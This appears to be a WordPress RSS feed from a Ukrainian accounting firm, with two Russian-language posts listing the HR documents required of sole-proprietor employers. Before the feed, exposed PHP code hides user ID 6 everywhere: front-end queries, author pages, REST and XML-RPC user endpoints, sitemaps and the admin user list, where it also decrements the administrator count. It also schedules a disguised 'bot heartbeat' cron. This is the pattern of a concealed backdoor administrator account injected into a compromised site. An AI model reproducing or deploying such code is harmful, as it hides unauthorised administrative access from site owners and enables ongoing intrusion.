add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 6;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 6;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 6;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-6{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Кадровые документы – Assets</title>
	<atom:link href="https://assets-buh.com.ua/ru/tag/kadrovi-dokumenti/feed/" rel="self" type="application/rss+xml" />
	<link>https://assets-buh.com.ua/ru</link>
	<description>Бухгалтерские услуги, сопровождение для ООО и ФЛП в Киеве</description>
	<lastbuilddate>Wed, 25 Feb 2026 11:01:24 +0000</lastbuilddate>
	<language>ru-RU</language>
	<sy:updateperiod>
	hourly	</sy:updateperiod>
	<sy:updatefrequency>
	1	</sy:updatefrequency>
	<generator>https://wordpress.org/?v=5.7.15</generator>
	<item>
		<title>Кадровые документы в ФЛП 2026</title>
		<link>http://assets-buh.com.ua/ru/kadrovi-dokumenti-u-fop-2026/</link>
					<comments>http://assets-buh.com.ua/ru/kadrovi-dokumenti-u-fop-2026/#respond</comments>
		
		<dc:creator><![CDATA[it4u]]></dc:creator>
		<pubdate>Wed, 25 Feb 2026 11:00:47 +0000</pubdate>
				<category><![CDATA[Кадри]]></category>
		<category><![CDATA[Усі]]></category>
		<category><![CDATA[ФОП]]></category>
		<category><![CDATA[Кадрові документи]]></category>
		<category><![CDATA[Кадрові документи ФОП]]></category>
		<category><![CDATA[Кадрові документи ФОП 2026]]></category>
		<guid ispermalink="false">https://assets-buh.com.ua/?p=4324</guid>

					<description><![CDATA[<p>Документи, які працівник надає обовʼязково роботодавцю  &#160; Для офіційного працевлаштування ФОП має отримати від майбутнього співробітника такі документи: &#160; Паспорт або ID-картка  РНОКПП (ІПН): реєстраційний номер облікової картки платника податків (або відмітка про відмову від нього у паспорті). Трудова книжка або відомості про стаж: працівник може надати паперову трудову книжку (якщо вона досі є). До [&#8230;]</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/kadrovi-dokumenti-u-fop-2026/">Кадрові документи у ФОП 2026</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h5><span style="font-size: 12pt;"><b>Документы, которые работник предоставляет обязательно работодателю </b></span></h5>
<p>&nbsp;</p>
<p><span style="font-size: 12pt;"><span style="font-weight: 400;">Для </span><span style="font-weight: 400;">официального</span><span style="font-weight: 400;"> трудоустройство ФЛП должно получить от будущего сотрудника следующие документы:</span></span></p>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><b>Паспорт или ID-карта </b></span></li>
<li><span style="font-size: 12pt;"><b>РНОКПП (ИНН):</b><span style="font-weight: 400;"> регистрационный номер учетной карточки налогоплательщика (или отметка об отказе от него в паспорте).</span></span></li>
<li><span style="font-size: 12pt;"><b>Трудовая книжка или сведения о стаже:</b><span style="font-weight: 400;"> работник может предоставить бумажную трудовую книжку (если она до сих пор есть). До </span><b>10 июня 2026 года</b><span style="font-weight: 400;"> продолжается переходный период оцифровки бумажных книг и полный переход на электронные трудовые книжки. То есть бумажных книг уже не будет в обороте.</span></span></li>
<li><span style="font-size: 12pt;"><b>Заявление о принятии на работу:</b><span style="font-weight: 400;"> пишется работником собственноручно или по шаблону. </span><span style="font-weight: 400;">При увольнении – заявление на увольнение от работника.</span></span></li>
<li><span style="font-size: 12pt;"><b>Дополнительные документы (при необходимости):</b></span></li>
</ul>
<p><span style="font-weight: 400; font-size: 12pt;">    ◦ Диплом или сертификат по образованию (если должность требует определенной квалификации).</span></p>
<p><span style="font-weight: 400; font-size: 12pt;">    ◦ Медицинская справка/книга (для пищевой сферы, образования, медицины и т.п.).</span></p>
<p><span style="font-weight: 400; font-size: 12pt;">    ◦ Документы о праве на льготы (инвалидность, ВПЛ, наличие детей для налоговой льготы).</span></p>
<p>&nbsp;</p>
<h5><span style="font-size: 12pt;"><b>Действия по военному учету</b></span></h5>
<p>&nbsp;</p>
<p><span style="font-weight: 400; font-size: 12pt;">ФЛП-работодатель в 2026 году не обязан вести военный учет и представлять информацию в ТЦК, и для ФЛП отсутствуют штрафы за неведение такого учета.</span></p>
<p>&nbsp;</p>
<h5><span style="font-size: 12pt;"><b>Обязательные кадровые документы </b></span></h5>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><strong>Сообщение к ДПС.</strong><span style="font-weight: 400;"> Перед началом работы нового сотрудника обязательно подается уведомление о принятии на работу в налоговую службу.</span></span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><strong>Кадровые приказы:</strong><span style="font-weight: 400;"> на принятие работника на работу, на увольнение, на смену окладов, на отпуска, </span><span style="font-weight: 400;">командировки, премирования и т.п.</span><span style="font-weight: 400;">. </span></span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><strong>Трудовой договор. </strong><span style="font-weight: 400;">Для ФЛП заключения трудового договора в письменной форме есть </span><b>общим обязательным требованием</b><span style="font-weight: 400;">. Хотя во время действия военного положения разрешена устная форма, специалисты настоятельно рекомендуют использовать письменную или электронную форму договора.</span></span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><strong>График отпусков.</strong><span style="font-weight: 400;"> Это обязательный документ, в котором должны быть зафиксированы все основные отпуска работников.</span></span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li> <strong>Табель учета использования рабочего времени.</strong><span style="font-weight: 400;"> Обязателен для ежемесячного заполнения (типичная форма П-5).</span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li><strong>Документы об оплате труда.</strong><span style="font-weight: 400;"> Необходимо хранить сведения о начислении и выплате заработной платы.</span></li>
</ul>
<p>&nbsp;</p>
<h5><span style="font-size: 12pt;"><b>Документы, требуемые при проверке Гоструда</b></span></h5>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><b>Штатное расписание</b><span style="font-weight: 400;"> для ФЛП не строго обязательно по закону, но его наличие настоятельно рекомендуется для упорядочения работы и прохождения проверок Гоструда.</span></span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><b>Правила внутреннего трудового распорядка (ПВТР).</b><span style="font-weight: 400;"> Документ должен быть у каждого работодателя. Обычно их разрабатывают, если в ФЛП работает </span><b>трое и более человек</b><span style="font-weight: 400;">. ПВТР должны быть утверждены протоколом общего собрания трудового коллектива.</span></span></li>
</ul>
<p>&nbsp;</p>
<h5><span style="font-size: 12pt;"><b>Дополнительные кадровые документы</b></span></h5>
<p>&nbsp;</p>
<h1><span style="font-size: 12pt;"><span style="font-weight: 400;">• </span><b>Должностные (рабочие) инструкции.</b><span style="font-weight: 400;"> Разрабатываются для каждой должности, указанной в штатном расписании. Они защищают работодателя от претензий работников по объему их обязанностей.</span></span></h1>
<h1><span style="font-size: 12pt;"><span style="font-weight: 400;">• </span><b>Личная карточка П-2.</b><span style="font-weight: 400;"> По разъяснениям Гоструда, она </span><b>больше не строго обязательной</b><span style="font-weight: 400;">Однако эксперты советуют продолжать ее ведение, поскольку закон требует вести учет отпусков, а П-2 является самым удобным инструментом для этого.</span></span></h1>
<h1><span style="font-size: 12pt;"><span style="font-weight: 400;">• </span><b>Журналы регистрации.</b><span style="font-weight: 400;"> ФЛП должен вести журналы регистрации приказов (по кадровым вопросам длительного и временного хранения) и заявлений работников.</span></span></h1>
<h1><span style="font-size: 12pt;"><span style="font-weight: 400;">• </span><b>Электронные трудовые книжки (ЭТК).</b><span style="font-weight: 400;"> В 2026 году идет переходный период оцифровки трудовых книжек (до 10 июня 2026 года). Бумажная книга может использоваться по желанию работника для внесения записей, но хранится у самого работника.</span></span></h1>
<h5><span style="font-size: 12pt;"><span style="font-weight: 400;"><br />
</span><b>Сроки хранения кадровых документов:</b></span></h5>
<h1><span style="font-size: 12pt;"><span style="font-weight: 400;"> Приказы по личному составу (принятие, увольнение), Трудовые договоры, дополнительные соглашения 75 лет после увольнения работника.</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">Табели учета рабочего времени – 1 год (но лучше держать подольше на случай проверки). Графики отпусков – 1 год.</span></span></h1>
<p>&nbsp;</p><p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/kadrovi-dokumenti-u-fop-2026/">Кадрові документи у ФОП 2026</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></content:encoded>
					
					<wfw:commentrss>http://assets-buh.com.ua/ru/kadrovi-dokumenti-u-fop-2026/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Кадровые документы, которые должны быть у ФЛП-работодателя</title>
		<link>http://assets-buh.com.ua/ru/kadrovi-dokumenty/</link>
					<comments>http://assets-buh.com.ua/ru/kadrovi-dokumenty/#respond</comments>
		
		<dc:creator><![CDATA[it4u]]></dc:creator>
		<pubdate>Tue, 07 Feb 2023 17:03:49 +0000</pubdate>
				<category><![CDATA[Усі]]></category>
		<category><![CDATA[ФОП]]></category>
		<category><![CDATA[Кадрові документи]]></category>
		<guid ispermalink="false">https://assets-buh.com.ua/?p=1854</guid>

					<description><![CDATA[<p>Часть 1 Заявление на принятие/увольнение (работник пишет от руки); Уведомление в ГФС о принятии на работу – делается один раз при приеме на работу; Штатное расписание - делается каждый раз, когда есть изменения в количестве работников; Приказы по кадровым вопросам длительного хранения (на принятие, увольнение, командировку); Табели учета использования рабочего времени – производится ежемесячно; Документы […]</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/kadrovi-dokumenty/">Кадрові документи, що мають бути у ФОП-роботодавця</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h5><strong>Часть 1</strong></h5>
<p>&nbsp;</p>
<ul>
<li aria-level="1">Заявление на принятие/увольнение (работник пишет от руки);</li>
<li aria-level="1">Уведомление в ГФС о принятии на работу – делается один раз при приеме на работу;</li>
<li aria-level="1">Штатное расписание - делается каждый раз, когда есть изменения в количестве работников;</li>
<li aria-level="1">Приказы по кадровым вопросам длительного хранения (<i>на принятие, увольнение, командировки</i>);</li>
<li aria-level="1">Табели учета использования рабочего времени – производится ежемесячно;</li>
<li aria-level="1">Документы о начислении и выплате заработной платы, в т. ч. при увольнении, оплате; временной нетрудоспособности (сведения начисления ЗП) – делается ежемесячно.</li>
</ul>
<p>&nbsp;</p>
<h5><b>Часть 2</b></h5>
<p>&nbsp;</p>
<ul>
<li>Письменные трудовые договоры – производится один раз при приеме на работу;</li>
<li aria-level="1">Личные карточки (типичная форма № П-2) – делается один раз при приеме на работу;</li>
</ul>
<ul>
<li aria-level="1">График отпусков – делается 1 раз в год и меняется, когда есть изменения в количестве сотрудников;</li>
</ul>
<ul>
<li aria-level="1">Должностные (рабочие) инструкции работников.</li>
</ul>
<p>&nbsp;</p>
<h5><b>Часть 3</b></h5>
<p>&nbsp;</p>
<p>Приказы по кадровым вопросам временного хранения <i>(</i><i>о краткосрочных командировках в пределах Украины и за границу; взыскание; предоставление ежегодных отпусков и отпусков в связи с обучением (утверждение графика отпусков и при необходимости внесения изменений в него, предоставление дополнительных социальных отпусков работникам, имеющим детей или совершеннолетнего ребенка - инвалида с детства подгруппы А І группы)</i>;</p>
<ul>
<li aria-level="1">правила внутреннего распорядка;</li>
<li aria-level="1">Графики сменности (примечание: если есть работа сменами);</li>
<li aria-level="1">Журнал регистрации трудовых договоров + заполнение;</li>
<li aria-level="1">Журнал регистрации приказов по кадровым вопросам длительного хранения+заполнения;</li>
<li aria-level="1">Журнал регистрации приказов временного хранения;</li>
<li aria-level="1">Журнал учета лицевых карт (или Журнал принятия работников);</li>
<li aria-level="1">Положение об оплате труда.</li>
</ul>
<ul>
<li style="list-style-type: none;"></li>
</ul>
<p>&nbsp;</p>
<h5><b>Часть 4</b></h5>
<p>&nbsp;</p>
<p><b>Если наемных более 8 человек: </b></p>
<ul>
<li aria-level="1">Отчеты о трудоустройстве лиц с инвалидностью (форма №10-ПИ) (примечание: если ФЛП имеет 8 и более работников)</li>
</ul>
<p><b>Другое: </b></p>
<ul>
<li>Документы о создании и деятельности комиссии (уполномоченного) по социальному страхованию;</li>
<li>Протоколы заседаний комиссии по социальному страхованию/решению уполномоченного;</li>
<li>Отчеты о наличии вакансий (форма №3-НН);</li>
<li>Журнал учета работников, не достигших 18 лет (примечание: если есть несовершеннолетние работники)</li>
</ul>
<p>&nbsp;</p>
<p><strong>Если вам необходима консультация или бухгалтерское обслуживание, оставьте заявку и мы свяжемся с вами.</strong></p><p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/kadrovi-dokumenty/">Кадрові документи, що мають бути у ФОП-роботодавця</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></content:encoded>
					
					<wfw:commentrss>http://assets-buh.com.ua/ru/kadrovi-dokumenty/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>